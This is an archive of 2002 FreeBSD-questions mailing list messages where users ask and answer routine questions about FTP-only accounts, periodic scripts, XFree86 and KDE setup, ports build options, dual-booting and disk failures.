pre-process packet.
2002-07-30 09:07:46: DEBUG: oakley.c:2543:oakley_newiv2(): compute IV for
phase2
2002-07-30 09:07:46: DEBUG: oakley.c:2544:oakley_newiv2(): phase1 last IV:
2002-07-30 09:07:46: DEBUG: plog.c:193:plogdump():
5dd5e325 f1e6fcf2 edfe6e03
2002-07-30 09:07:46: DEBUG: algorithm.c:252:alg_oakley_hashdef(): hash(md5)
[...]


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From owner-freebsd-questions  Tue Jul 30 23:58:16 2002
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Date: Wed, 31 Jul 2002 02:58:13 -0400 (EDT)
Subject: Looking to learn the insides and outsides of /etc/periodic
From: "Mike" <root@unixhideout.com>
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Hey guys, how's your week going? Good i hope!

I want to learn more about /etc/periodic and how it works, can you reply
with some man pages i might refer to, and give me a small description of
these scripts? Looking through them i only see a handful that i have
actually seen DO something, like for example i have seen cron email me for
some of them, but a lot i have never been aware of. I dont expect you to
tell me all of them, ill refer to the manpages for that, but can you tell
me if they all run and some dont email me or if some need to be "turned
on" by some method? Oh and lastly i edited my signature. I didnt mean to
have my url twice. Its because the webmail we use has that footer, so it
was my signature on top of that!


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From owner-freebsd-questions  Wed Jul 31  0:29:44 2002
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Date: Wed, 31 Jul 2002 08:29:30 +0100
From: Matthew Seaman <m.seaman@infracaninophile.co.uk>
To: Phil Gates <p_gates@fuse.net>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: ftp only login
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On Tue, Jul 30, 2002 at 05:07:14PM -0400, Phil Gates wrote:

> I need to allow a user to login to ftp but not login in an other
> way.  Does anybody know how I can do this.  I was told to change the
> shell to some file such as /dev/null so the user would have no shell
> to login to.  I changed the /etc/passwd file to do this.  When I try
> to login I was still able to login., do I need to change any other
> files?

You're on the right track, but not all the way there.  You need to do
two things:

   i) Don't edit /etc/passwd --- edit /etc/master.passwd When you're
      done editing, be sure to rebuild the pwd.db password database
      files:

       pwd_mkdb -p /etc/master.passwd 

      The /etc/passwd file is generated from the /etc/master.passwd
      file by that command. If you use vipw(1) to edit the password
      data the pwd_mkdb stuff is all done for you automatically.

  ii) In order to access the ftpd(8) service on your machine, the man
      page says:

           4.   The user must have a standard shell returned by
                getusershell(3).

      Which means that the shell you give to the user must be added to
      the /etc/shells file.  There is a very handy command
      /sbin/nologin (see nologin(8)) which politely tells the user to
      "go away", and is designed for this very purpose.  However, it's
      used for all sorts of system accounts in /etc/passwd already and
      adding it to /etc/shells is probably asking for trouble.

      So you need to do something like the following:

        cp /sbin/nologin /usr/local/sbin/nologin
        echo /usr/local/sbin/nologin >> /etc/shells
        vipw

> Or is there a different way to keep a user from only login in as a
> ftp client.  ?

To *prevent* a user from using the ftpd service on a machine, simply
add their username to the /etc/ftpusers file.

The other important trick available with FreeBSD's ftpd is to add the
username to the /etc/ftpchroot file, or the set the ftp-chroot
capability in /etc/login.conf for the user's login class.  In this
case, the user will be chroot(2)-ed to their home directory when they
use ftp.  ftpd(8) has the details.

	Cheers,

	Matthew

-- 
Dr Matthew J Seaman MA, D.Phil.                       26 The Paddocks
                                                      Savill Way
Tel: +44 1628 476614                                  Marlow
Fax: +44 0870 0522645                                 Bucks., SL7 1TH UK

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From owner-freebsd-questions  Wed Jul 31  1: 4: 6 2002
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On Wednesday, July 31, 2002, at 01:19 AM, Greg 'groggy' Lehey wrote:

> readpol doesn't really work at the moment.  The syntax of the config
> file is broken.  It's on my "to do" list.

May I (politely) ask when you think it will be done? Or will it be 
possible to pop a readpol line into the config at a later date without 
disrupting the RAID setup (i.e. the data on the disks)?

Thanks,

Oliver.


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From owner-freebsd-questions  Wed Jul 31  1:55:20 2002
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Subject: [OT] WinNT monitor change problem
Date: Wed, 31 Jul 2002 17:48:46 +0930
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Change monitor in Linux/*BSD - NO problem.  Just edit XF86Config from the 
console and start X.  Works fine.  Takes 10 minutes - including time taken 
searching for the book with the monitor specs.  :-)

WinBlows -  *&%*^& !!  :-(
Probably not so bad if you are upgrading your monitor so that the existing 
settings are within those of the new monitor (don't know).  But changing from 
a 17" 85Hz to 14" 60Hz - YUK!  VGA mode doesn't allow any refresh rate 
change, and normal mode produces an unreadable screen, so I can't make any 
corrections to the display settings there either.  :-(

If anyone knows a nifty solution (registry?) I'd be grateful.

BTW - who was the twit who said they preferred XP??  MUST be mad!

-- 
Regards,
Brian


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From owner-freebsd-questions  Wed Jul 31  2:11:26 2002
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subject: Dual-booting win98 and FreeBSD problem
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People,

I have installed FreeBSD 4.4 and Win98SE each on its own disk.
(FreeBSD on /dev/ad0s1a and Win98SE on /dev/ad1s1 ).

I have also installed the FreeBSD boot manager on ad0.

(ad0 is the primary master and ad1 is the primary slave)

When the computer boots, I get this prompt:

F1      FreeBSD
F5      Drive 1

When I press F1, FreeBSD boots nice and well.

But, when I press F5, then instead of win98, FreeBSD boots again (nice
and well).

Any help?
  
     
P.S. : ad1 is bootable (FAT32).


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From owner-freebsd-questions  Wed Jul 31  2:14:43 2002
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Subject: Re: Installing mod_perl 1.27 with Apache 2 from ports
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!Solved! - Let this thread die on a good note.

http://perl.apache.org/docs/2.0/user/help/help.html#Wrong_Apache_mod_perl_co
mbination

----- Original Message -----
From: "Grant Cooper" <grant.cooper@nucleus.com>
To: "Jeff D. Hamann" <jeff_hamann@hamanndonald.com>;
<freebsd-questions@FreeBSD.ORG>
Sent: Monday, July 29, 2002 6:41 PM
Subject: Installing mod_perl 1.27 with Apache 2 from ports


> I installed apache a few weeks ago with no problems but I can't seem to
get
> mod_perl installed. I am using the ports method, make install but I am
> getting error's. I am about to try from scratch and see if that works but
> before I do that, is there something I have to install or should
everything
> work smoothly?
>
>
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message
>


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From owner-freebsd-questions  Wed Jul 31  2:16:56 2002
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From: "Oleg Kyryliv" <forall@kinto.com>
To: <freebsd-questions@freebsd.org>
Subject: help: XFree86-Server-4.2.0_3
Date: Wed, 31 Jul 2002 12:19:35 +0300
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Help me to configuring XFree86-Server-4.2.0_3 on FreeBSD 4.6-STABLE.
what i doing wrong ?

1.
# pkg_add -r XFree86
2.
# XFree86 -configure
in /root generated a skeleton XFree86 configuration file XF86Config.new
3.
# XFree86 -xf86config XF86Config.new
and i have black screen and yellow led on the monitor.(instead a black and
grey grid and an X mouse cursor)

Ctrl+Alt+Backspace and return in text mode

XF86Config.new :

Section "ServerLayout"
Identifier     "XFree86 Configured"
Screen      0  "Screen0" 0 0
InputDevice    "Mouse0" "CorePointer"
InputDevice    "Keyboard0" "CoreKeyboard"
EndSection

Section "Files"
RgbPath      "/usr/X11R6/lib/X11/rgb"
ModulePath   "/usr/X11R6/lib/modules"
FontPath     "/usr/X11R6/lib/X11/fonts/misc/"
FontPath     "/usr/X11R6/lib/X11/fonts/Speedo/"
FontPath     "/usr/X11R6/lib/X11/fonts/Type1/"
FontPath     "/usr/X11R6/lib/X11/fonts/75dpi/"
FontPath     "/usr/X11R6/lib/X11/fonts/100dpi/"
EndSection

Section "Module"
Load  "extmod"
Load  "glx"
Load  "dri"
Load  "dbe"
Load  "record"
Load  "xtrap"
Load  "pex5"
Load  "xie"
Load  "speedo"
Load  "type1"
EndSection

Section "InputDevice"
Identifier  "Keyboard0"
Driver      "keyboard"
EndSection

Section "InputDevice"
Identifier  "Mouse0"
Driver      "mouse"
Option     "Protocol" "MouseSystems"
Option     "Device" "/dev/sysmouse"
EndSection

Section "Monitor"
#DisplaySize   280   200 # mm
Identifier   "Monitor0"
VendorName   "PHL"
ModelName    "a15b"
Option     "DPMS"
EndSection

Section "Device"
        ### Available Driver options are:-
        ### Values: <i>: integer, <f>: float, <bool>: "True"/"False",
        ### <string>: "String", <freq>: "<f> Hz/kHz/MHz"
        ### [arg]: arg optional
        #Option     "accel"              # [<bool>]
        #Option     "crt_screen"         # [<bool>]
        #Option     "composite_sync"     # [<bool>]
        #Option     "hw_cursor"          # [<bool>]
        #Option     "linear"             # [<bool>]
        #Option     "mmio_cache"         # [<bool>]
        #Option     "probe_clocks"       # [<bool>]
        #Option     "reference_clock"    # <freq>
        #Option     "shadow_fb"          # [<bool>]
        #Option     "sw_cursor"          # [<bool>]
Identifier  "Card0"
Driver      "ati"
VendorName  "ATI"
BoardName   "Mach64 VT"
ChipSet     "ati"
ChipId      0x5654
ChipRev     0x40
BusID       "PCI:0:20:0"
EndSection

Section "Screen"
Identifier "Screen0"
Device     "Card0"
Monitor    "Monitor0"
SubSection "Display"
Depth     1
EndSubSection
SubSection "Display"
Depth     4
EndSubSection
SubSection "Display"
Depth     8
EndSubSection
SubSection "Display"
Depth     15
EndSubSection
SubSection "Display"
Depth     16
EndSubSection
SubSection "Display"
Depth     24
EndSubSection
EndSection

--
Oleg Kyryliv



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From owner-freebsd-questions  Wed Jul 31  2:23:55 2002
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On Tue, Jul 30, 2002 at 05:31:30PM -0700, Mark Edwards wrote:
> On Tuesday, July 30, 2002, at 05:04 PM, Jeremy Faulkner wrote:
> > 4.6.1 is a point release, point releases are large patch levels.
> 
> Got it.  I was confused by the fact that /usr/src/UPDATING seems a 
> little behind.  

/usr/src/UPDATING has been updated.

4.6.1 is still officially a work in progress according to: 
http://www.freebsd.org/releng

> What's the best way to check what the official current 
> RELENG_4_6 version is?

If you update your source to the RELENG_4_6 tag you will have the "official 
current RELENG_4_6 version".

> Thanks for the help.
> 
> --
> Mark Edwards
> Engineer
> Mr. Toad's
> San Francisco, CA

-- 
Jeremy Faulkner			http://www.gldis.ca

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From owner-freebsd-questions  Wed Jul 31  2:26:13 2002
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Subject: hi there
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From owner-freebsd-questions  Wed Jul 31  2:26:20 2002
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From: Katinka Mills <katinka@magestower.com>
To: "freebsd-questions" <freebsd-questions@FreeBSD.ORG>
Subject: Re: Dual-booting win98 and FreeBSD problem
Date: Wed, 31 Jul 2002 17:30:13 +0800
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On Wed, 31 Jul 2002 16:45, system@pathfinder.gr wrote:
> People,
>
> I have installed FreeBSD 4.4 and Win98SE each on its own disk.
> (FreeBSD on /dev/ad0s1a and Win98SE on /dev/ad1s1 ).
>
> I have also installed the FreeBSD boot manager on ad0.
>
> (ad0 is the primary master and ad1 is the primary slave)
>
> When the computer boots, I get this prompt:
>
> F1      FreeBSD
> F5      Drive 1
>
> When I press F1, FreeBSD boots nice and well.
>
> But, when I press F5, then instead of win98, FreeBSD boots again (nice
> and well).
>
> Any help?
>
>
> P.S. : ad1 is bootable (FAT32).

IIRC Micro$oft OS's need to be booted from the first drive, but *nix is happy 
to be booted off any drive. Solution, reinstall with Boot Manager on First 
drive and win 98, then FreeBSD on second drive :o)

Others may have a solution.

Regards,

Kat.


-- 
--------------------------------------------------------------------------------------------
K.A.Q. Electronics
Software and Electronic Engineering
Perth, Western Australia
Phone +61 (0) 419 923 731
--------------------------------------------------------------------------------------------

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From owner-freebsd-questions  Wed Jul 31  2:26:42 2002
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Subject: RE: [OT] WinNT monitor change problem
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F8 on startup, select safe mode, change settings and restart.

I think XP has 800x600 as it's lowest res, so if your monitor can't
handle that, your screwed.


Change monitor in Linux/*BSD - NO problem.  Just edit XF86Config from
the 
console and start X.  Works fine.  Takes 10 minutes - including time
taken 
searching for the book with the monitor specs.  :-)

WinBlows -  *&%*^& !!  :-(
Probably not so bad if you are upgrading your monitor so that the
existing 
settings are within those of the new monitor (don't know).  But changing
from 
a 17" 85Hz to 14" 60Hz - YUK!  VGA mode doesn't allow any refresh rate 
change, and normal mode produces an unreadable screen, so I can't make
any 
corrections to the display settings there either.  :-(

If anyone knows a nifty solution (registry?) I'd be grateful.

BTW - who was the twit who said they preferred XP??  MUST be mad!

-- 
Regards,
Brian

-- 
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From owner-freebsd-questions  Wed Jul 31  2:44:46 2002
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Date: Wed, 31 Jul 2002 11:44:40 +0200
From: Eivind Olsen <eivind@aminor.no>
To: freebsd-questions@FreeBSD.ORG
Subject: How to set default make-options for different ports?
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Hello.

Is it possible to somehow tell portupgrade(1) which options to pass to 
"make" for different ports? For example, I'd like the www/mod_php4 port to 
always be built with "-DWITH_APACHE2" and some other options.
Is this possible?

-- 
Eivind Olsen
eivind@aminor.no


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From owner-freebsd-questions  Wed Jul 31  2:51: 3 2002
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Hi,

On Wed, Jul 31, 2002 at 11:44:40AM +0200, Eivind Olsen wrote:
> Is it possible to somehow tell portupgrade(1) which options to pass to=20
> "make" for different ports? For example, I'd like the www/mod_php4 port t=
o=20
> always be built with "-DWITH_APACHE2" and some other options.
> Is this possible?

Check /usr/local/etc/pkgtools.conf, the section with MAKE_ARGS in it.

Mine has:

  MAKE_ARGS =3D {
        'print/ghostscript*-*' =3D> '-DA4 BATCH=3Dyes',
        'mail/fetchmail' =3D> 'BATCH=3Dyes',
        'x11-fonts/mkfontalias' =3D> 'WITH_DPI=3D100',
        'graphics/libmpeg2' =3D> 'WITH_SDL=3Dyes',
        'graphics/mplayer-skins' =3D> 'BATCH=3Dyes WITH_SKIN_ALL=3Dyes',
        'graphics/mplayer' =3D> 'WITH_GUI=3Dyes WITH_XANIM=3Dyes WITH_VORBI=
S=3Dyes',
        'graphics/gqview' =3D> 'WITHOUT_GNOME=3Dyes',
        'audio/xmms' =3D> 'WITHOUT_GNOME=3Dyes',
        'x11/xscreensaver' =3D> 'WITHOUT_GNOME=3Dyes',
        'www/mod_php4' =3D> 'WITH_APACHE2=3Dyes BATCH=3Dyes PHP4_OPTIONS=3D=
' + "'" + '\\\\"GD1\\\\" \\\\"zlib\\\\" \\\\"bzip2\\\\" \\\\"MySQL\\\\" \\\=
\"OpenSSL\\\\" \\\\"XML\\\\" \\\\"XSLT\\\\" \\\\"iconv\\\\" \\\\"CURL\\\\" =
\\\\"FTP\\\\"' + "'",
        'www/mozilla' =3D> 'WITHOUT_MAILNEWS=3Dyes',
  }

The whole line for mod_php4 is a bit absurd imho but I couldn't find any
other way to do the quoting right. I think you get the idea though.

HTH,

--Stijn

--=20
I really hate this damned machine
I wish that they would sell it.
It never does quite what I want
But only what I tell it.

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From owner-freebsd-questions  Wed Jul 31  2:58:28 2002
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From: Roman Neuhauser <neuhauser@bellavista.cz>
To: Greg 'groggy' Lehey <grog@lemis.com>
Cc: FreeBSD LIST <FreeBSD-Questions@FreeBSD.Org>
Subject: Re: What do we need in a FreeBSD desktop? (was: Peter heads back to M$FT WinBloze [support groups])
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> Date: Wed, 31 Jul 2002 13:06:58 +0930
> From: Greg 'groggy' Lehey <grog@lemis.com>
> To: FreeBSD LIST <FreeBSD-Questions@FreeBSD.Org>
> Subject: Re: What do we need in a FreeBSD desktop? (was: Peter heads back to M$FT WinBloze [support groups])
 
    OT side note: now i'm confused. wasn't that you with the "if you
    don't reply-to-all, i might ignore your email" sig? :)

> On Monday, 29 July 2002 at 12:20:59 +0200, Roman Neuhauser wrote:
> > On Sun, 28 Jul 2002 12:00:16 +0930, Greg 'groggy' Lehey wrote:
> >
> >> The real problem I have is knowing which of the over 7,000 ports you
> >> want to install to get "basic" desktop functionality.
> >
> >     yes. and this is the problem with stuff like your
> >     instant-workstation port. you can't please everyone, and i dare
> >     to say that any such thing will only please a tiny minority of
> >     people.
> 
> This is like saying that people won't use Microsoft because it pleases
> only a tiny minority of people.

    i don't think so. i'd say freebsd is used by a completely different
    type of people. i mean, i could install freebsd on my mother's box,
    because for just irc, mail, and web, she couldn't care less. (i
    haven't done so because of the fscking winmodem she bought.) but i
    wouldn't certainly expect her to install it, or anything into it
    later, just as she doesn't install anything into her windows (except
    the occasional virus). but i might be terribly wrong here. who
    knows? it's possible freebsd has quite a few users who don't know
    how to install a port. :)
 
> >  probably the reason you haven't got much feedback on the port.
> 
> No, the reason I haven't had much feedback is almost certainly because
> nobody knows about it.  That's the problem I mention above.

    ok. another wrong assumption on my side, it would seem. i've noticed
    that port some time ago, but ignored it, because it didn't fit my
    needs.
 
> >> 2.  "instant" is a misnomer, at least if you build from source.  I'm
> >>     building on a Dell Inspiron 7500 with a 600 MHz processor, and it
> >>     takes over 12 hours.
> >
> >     as suggested by someone else before, it could use packages where
> >     possible,
> 
> Yes, of course it does, but you still need to have the ports.  The
> instant-workstation port itself really is pretty instantaneous..
> 
> > but that would make it fall out of the ports system pretty much.
> 
> Why?

    i didn't know about the -DUSE_PACKAGES knob mentioned by someone
    else in this thread, so my comment doesn't apply. i thought making a
    port use packages for its dependancies would require making it
    pretty "nonstandard".
 
> >> My questions to you: is there anything missing?
> >
> >     inevitably, yes. plus there are things *i* don't use on that list.
> >     shell, for example. i don't use bash. if you want to make the port
> >     attractive for me, you have to let me choose my favorite shell.
> 
> Nobody's stopping you.  You can override anything in the port.  That's
> what the Ports Collection is for.  But this port is addressing a
> different kind of user.

    i know. i'm just unsure whether such a port is the right start in
    attracting begginers. i know you're an oldtimer, and prolly used
    some variants of unix before i learned to walk; i've started using
    freebsd about a year ago (?, it was 4.3 for sure), and so i
    perfectly remember what kind of trouble i had. freebsd was my first
    unix (barring a short suse 6.4 flirt) btw. installing software was
    not the problem. i spent *weeks* trying to get various terminal
    emulators behave as i wanted (^? vs ^H vs ^[3~), get this behavior
    in sync with vim's expectations, get color support in mutt...
    installing ports was a piece of cake compared to the other problems.
 
> >> Has anybody tried instant-workstation?  I'd be interested in
> >> suggestions about how to improve it.
> >
> >     you could perhaps abstract the installed software away into software
> >     categories similar to the /usr/ports directory:
> >
> >     which shell do you want to use? (ash bash tcsh ksh zsh):
> >     which browser do you want to use? (...):
> 
> That assumes you understand the questions and can decide which is the
> one for you.

    if you assume the user of instant-workstation not to know what a
    shell is, i'd vote for leaving them with (t)csh, as it's the bsd
    default. linux converts can always install bash (linux convert
    *will* know what a shell is, after all).
 
    greg, don't take me wrong, please. i'm glad you're here, and i'm
    glad you're trying help newcomers. i'm just trying to make sure
    it'll be effective help (where the definition of "effective" is of
    course based on my own experience). 

-- 
FreeBSD 4.6-STABLE
11:24AM up 19 hrs, 8 users, load averages: 0.05, 0.07, 0.03

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* Eivind Olsen <eivind@aminor.no> [2002-07-31 11:46]:
> Is it possible to somehow tell portupgrade(1) which options to pass to
> "make" for different ports? For example, I'd like the www/mod_php4 port t=
o=20
> always be built with "-DWITH_APACHE2" and some other options.
> Is this possible?

man pkgtools.conf

search for MAKE_ARGS in ${PREFIX}/etc/pkgtools.conf

HTH, Olli
--=20
IST & IIS _ INF _ UniBwM _____ http://ist.unibw-muenchen.de/People/obraun/
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From owner-freebsd-questions  Wed Jul 31  3:16:27 2002
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Date: Wed, 31 Jul 2002 11:15:02 +0100
From: Axel Simon <A.Simon@ukc.ac.uk>
To: freebsd-hardware@freebsd.org, freebsd-questions@freebsd.org
Subject: Harddisk damage by driver?
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Hi,

I am very fed up with this rotten computer which seems to break all the 
harddiscs I put in. The story:

The computer is based on an Intel Desktop D815EEA2/D815EPEA2 motherboard.

- After five month, the built-in Fujitsu 40 GB UDMA100 drive one day
started to make some very loud, repetetive clicking sounds for
approximately 3 seconds and was then unresponsive. After some attempts,
the harddisc came up again and booted.

- The replacement harddrive of the same brand and size did some clicking 
noises here and then and stalled as well after only three days. I 
complained louder and got a new Western Digital 38166MB <WDC 
WD400BB-53CAA0>, UDMA100, a new motherboard and a new cable.

- Shortly after that, my second harddrive on the secondary channel 78167MB 
<Maxtor 98196H8>, DMA33 occasionally made some clicking noises.

- It stalled for the first time complitely after a large data transmisson 
and I decided to ask Maxtor for a replacement. I got a replacement 
harddrive and replaced the 15cm UDMA100 cable with a 1m UDMA66 cable (so 
it sais) and attached the harddisk. Funnily, not my old harddrive refuses 
to work, but my new on exhibits hard read errors, is resetted, removed 
from configuration and all that.

Two possibilities:

- This is just unlucky incidence and I need to get a propper UDMA100 cable 
which is not 1m long.

- The FreeBSD drive does not work propperly on this type of motherboard. 
Should I get an external UDMA controller?

I need some help here.

Thanks a lot,

Axel.


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From owner-freebsd-questions  Wed Jul 31  3:17:17 2002
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Date: Wed, 31 Jul 2002 03:17:50 -0700
From: Adam Weinberger <adam@vectors.cx>
To: Mike <root@unixhideout.com>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: Looking to learn the insides and outsides of /etc/periodic
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check out: 
	man periodic [periodic(1)]
	man periodic.conf [periodic.conf(5)]
	/etc/defaults/periodic.conf (put changes into /etc/periodic.conf)
	
in /etc/periodic/, each subdirectory is run on a different schedule.
within each dir, each file is executed (1) as long as it is executable,
and (2) in numerical order. so daily/100.clean-disks runs before
110.clean-tmps.

each file has a header that says what it does. from daily/340.uucp:
# Local cleanup of UUCP files.  This is for backwards compatibility,
# /etc/uuclean.daily doesn't exist by default.
#

only some of these files create output. and those that do either are
designed only to give you information, or they're just barfing on an
error. IOW, the same script usually doesn't check stuff AND print out a
summary of something.

look through them and see what files they access and how they work. each
program is just a shell script. if you can't decipher them, read the
sh(1) manpage. it's a worthwhile skill to have.

-Adam


>> (07.30.2002 @ 2358 PST): Mike said, in 1.0K: <<
> 
> Hey guys, how's your week going? Good i hope!
> 
> I want to learn more about /etc/periodic and how it works, can you reply
> with some man pages i might refer to, and give me a small description of
> these scripts? Looking through them i only see a handful that i have
> actually seen DO something, like for example i have seen cron email me for
> some of them, but a lot i have never been aware of. I dont expect you to
> tell me all of them, ill refer to the manpages for that, but can you tell
> me if they all run and some dont email me or if some need to be "turned
> on" by some method? Oh and lastly i edited my signature. I didnt mean to
> have my url twice. Its because the webmail we use has that footer, so it
> was my signature on top of that!
> 
> 
> -----------------------------------------
> Free email that kicks ass from UnixHideout
>    "The UnixHideout network"
> http://www.unixhideout.com/
> 
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message
> 
>> end of "Looking to learn the insides and outsides of /etc/periodic" from Mike <<


--
"Oh good, my dog found the chainsaw."
        -Lilo, "Lilo & Stitch"
Adam Weinberger
adam@vectors.cx
http://vectors.cx


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On Wed, 31 Jul 2002 13:06, Greg 'groggy' Lehey wrote:
> >> My questions to you: is there anything missing?

I'd vote for the inclusion of le and making it the default editor.
It is simple and IMHO all one could need for editing config files and the 
like.  It is also DEAD simple to use for the beginner.
You would also need emacs for serious editing, of course.

I'd prefer the slightly more up-market links to lynx.

You also seem to be missing burncd (we aren't all equipped with SCSI 
burners<g>)

Although a gnome option is reasonable, I'd stick with KDE as the default.  
Somehow it seems to be the more complete of the two.  When I had Gnome 
running I invariably had the KDE apps as my preferences.

If I think of more - then more will come :-)

--
Regards,
Brian

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From: "Steven Shen" <shen_zhijian@hotmail.com>
To: <freebsd-questions@FreeBSD.ORG>
Subject: !!! Urgent !!! save my kde.
Date: Wed, 31 Jul 2002 23:09:34 +1200
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freebsd-questions@FreeBSD.ORG



Dear Sir:

I have FreeBSD release 4.6 working in my PC.
The KDE (3.0.1 ? I forgot the exact version) coming with this release =
works well.
But after I install the kde-studio 2.0.0 package, the disaster occurs.
I cannot start kde again. The X window seems still working.=20

The symptom now is like this:
After type
#startx
The X window occurs with white screen, and give a message "Couldn't =
start ksmserver.=20

Check your installation."=20
The only action I can choose is a button <okay>.=20
Then I press the button. Then return to the console (command prompt =
screen).=20
#

So I think it may be because of the installation of kde-studio 2.0.0 =
package.
For some files do not come from the FreeBSD release 4.6 CD. These files =
are downloaded=20

by myself. They may have some overwriting or conflict with the KDE.
These files are:=20
fam-2.6.8.tgz,
freetype2-2.1.1.tgz,
kdelibs-2.2.2_3.tgz,
kdestudio-2.0.0.tgz,
libiconv-1.8.tgz,
libxml2-2.4.22_1.tgz,
libxslt-1.0.18.tgz,
Mesa-3.4.2_2.tgz,
png-1.2.3.tgz,
qt-2.3.1_2.tgz.

#uname -a
FreeBSD  4.6-RELEASE FreeBSD 4.6-RELEASE #0: Sat Jul 13 22:46:43 NZST =
2002 =20
root@:/usr/src/sys/compile/SOUNDKERN  i386
#

How can I solve this problem? I want my kde to come back working. I have =
so much=20

things need to use it. And a re-installation of FreeBSD system is too =
too troublesoum,=20

because I have lots of additional software and works files installed in =
the system.

Could you please give me help?

I will be so much thankful if you can save my situation!

Regards.

Shen Zhijian.
<shen_zhijian@hotmail.com>
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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 5.50.4916.2300" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2><A=20
href=3D"mailto:freebsd-questions@FreeBSD.ORG">freebsd-questions@FreeBSD.O=
RG</A></FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Dear Sir:</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I have FreeBSD release 4.6 working in =
my PC.<BR>The=20
KDE (3.0.1 ? I forgot the exact version) coming with this release works=20
well.<BR>But after I install the kde-studio 2.0.0 package, the disaster=20
occurs.<BR>I cannot start kde again. The X window seems still working.=20
</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>The symptom now is like this:<BR>After=20
type<BR>#startx<BR>The X window occurs with white screen, and give a =
message=20
"Couldn't start ksmserver. </FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Check your installation." <BR>The only =
action I can=20
choose is a button &lt;okay&gt;. <BR>Then I press the button. Then =
return to the=20
console (command prompt screen). <BR>#</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>So I think it may be because of the =
installation of=20
kde-studio 2.0.0 package.<BR>For some files do not come from the FreeBSD =
release=20
4.6 CD. These files are downloaded </FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>by myself. They may have some =
overwriting or=20
conflict with the KDE.<BR>These files are:=20
<BR>fam-2.6.8.tgz,<BR>freetype2-2.1.1.tgz,<BR>kdelibs-2.2.2_3.tgz,<BR>kde=
studio-2.0.0.tgz,<BR>libiconv-1.8.tgz,<BR>libxml2-2.4.22_1.tgz,<BR>libxsl=
t-1.0.18.tgz,<BR>Mesa-3.4.2_2.tgz,<BR>png-1.2.3.tgz,<BR>qt-2.3.1_2.tgz.</=
FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>#uname -a<BR>FreeBSD&nbsp; 4.6-RELEASE =
FreeBSD=20
4.6-RELEASE #0: Sat Jul 13 22:46:43 NZST 2002&nbsp; </FONT></DIV>
<DIV><FONT face=3DArial size=3D2><A=20
href=3D"mailto:root@:/usr/src/sys/compile/SOUNDKERN">root@:/usr/src/sys/c=
ompile/SOUNDKERN</A>&nbsp;=20
i386<BR>#</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>How can I solve this problem? I want my =
kde to come=20
back working. I have so much </FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>things need to use it. And a =
re-installation of=20
FreeBSD system is too too troublesoum, </FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>because I have lots of additional =
software and=20
works files installed in the system.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Could you please give me =
help?</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I will be so much thankful if you can =
save my=20
situation!</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Regards.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Shen Zhijian.<BR>&lt;<A=20
href=3D"mailto:shen_zhijian@hotmail.com">shen_zhijian@hotmail.com</A>&gt;=
</FONT></DIV></BODY></HTML>

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From owner-freebsd-questions  Wed Jul 31  4:18:58 2002
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Hello everybody!

1. Installed and configured Xfree86 4 (works)
2. Installed KDE3 on FreeBSD 4.6.1
3. added "/usr/local/bin/startkde" to ~/.xinitrc

When I run "startx" I get:

giving up.
xinit: No such file or directory (errno 2): unable to connect to X Server
xinit:No such process (errno 3): Server error.

Starting X first and then manually KDE3 works..

The strange thing is that a seto almost exactly (??) the same on another 
machine works.

What could this be?!

Many thanks in advance for any help!


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From owner-freebsd-questions  Wed Jul 31  4:20:30 2002
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From: "Ian Barnes" <ian@cerebellum.za.net>
To: "Steven Shen" <shen_zhijian@hotmail.com>
Cc: <questions@freebsd.org>
Subject: RE: !!! Urgent !!! save my kde.
Date: Wed, 31 Jul 2002 13:20:33 +0200
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Hi Steven

I also had a problem similar, in the end i had to remove all packages and
install them again. the problem comes in when the version2 studio, conflicts
with the version 3 libs. if you do a pkg_info |grep kde do you see two
versions of kdelibs? thats what happened to me

Hope this helps
Ian Barnes

-------------------------
BOFH - Mom's Pharmacies
Email - ian@cerebellum.za.net
-------------------------

-----Original Message-----
From: owner-freebsd-questions@freebsd.org
[mailto:owner-freebsd-questions@freebsd.org]On Behalf Of Steven Shen
Sent: 31 July 2002 01:10
To: freebsd-questions@freebsd.org
Subject: !!! Urgent !!! save my kde.


freebsd-questions@FreeBSD.ORG



Dear Sir:

I have FreeBSD release 4.6 working in my PC.
